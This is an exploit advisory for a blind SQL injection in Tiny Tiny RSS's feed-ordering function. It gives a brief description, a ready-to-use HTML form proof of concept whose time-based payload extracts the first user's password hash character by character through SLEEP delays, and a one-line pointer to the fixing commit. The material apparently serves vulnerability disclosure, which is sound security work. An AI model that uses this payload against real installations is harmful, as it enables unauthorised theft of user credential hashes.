Tiny Tiny RSS - Blind SQL Injection

# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
$item_id inside process_category_order() is not properly escaped.

We control this value using $_POST['payload'].

http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html

2. Proof of Concept

Login as regular user.

<form method="post" action="http://tiny-tiny-rss/backend.php">
    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}&lt;/textarea&gt;
    <input type="submit" value="Hack!">
</form>

3. Solution:
   
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b